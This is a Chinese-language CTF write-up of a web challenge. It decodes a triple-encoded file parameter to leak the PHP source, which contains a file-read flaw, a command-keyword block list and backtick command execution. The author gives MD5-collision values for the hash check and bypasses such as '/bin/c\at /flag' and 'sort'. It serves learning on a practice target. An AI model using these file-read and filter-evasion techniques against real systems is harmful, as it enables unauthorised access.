F12没什么收获,不过看到url有个值很像base64的编码:
拿去解码一下:
MzUzNTM1MmU3MDZlNjc=
还是像base64:
3535352e706e67
这里还是做的题太少,一时间没有反应过来是hex,拿去转字符串:
555.png
文件名被hex->base64->base64三重编码了,然后又没啥发现,拿去抓包:
得到一大串base64编码值,解密一下:
一大串乱码,不过看到了有PNG,IHDR字样,就是图片的hex又acsii后的值,猜应该是回显对应三重编码前文件的信息,拿index.php试一下,三重编码后:
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
bp抓包:
解码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
分析一下:
输入三重编码后的img传给$file
后自动解码,正则匹配flag字样,有就die掉了,否则就读取文件的信息,又编码echo出来,这就是刚才输出的那段index.php base64值的逻辑了,继续往下看,正则匹配一大串(像我这种小白,过滤这么多命令后真的不知道再从何下手),绕过后有一次md5强比较,因为是反引号,所以把$cmd
当作命令执行了。
正则先放着,先解决怎么绕过md5强比较,ctrl+c,ctrl+v:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
md5强比较解决,接下来就是正则匹配了,这里我是不会了,看了师傅们的wp:
正则中的:|\\|\\\\|
,因为正则中\\\
才匹配到一个真正意义上的反斜杠\
字符,所以反斜杠未被过滤,可以用/bin/c\at /flag来绕过,这里我当时疑惑了:
比如|\\\\|
,php解释器先把第一个\
转义第二个\
,第三个转义第四个,变成|\\|
,然后在正则里面就被解释成\
,这个不就是匹配一个反斜杠了吗?为什么还可以用反斜杠绕过(记小本上)
【PHP】之4个反斜杠、3个反斜杠的情况
为什么3反斜杠在php中等于4反斜杠?
反斜杠绕过:
这里其他wp说还有一个命令没被禁用sort
:
sort的定义:
sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。
getflag: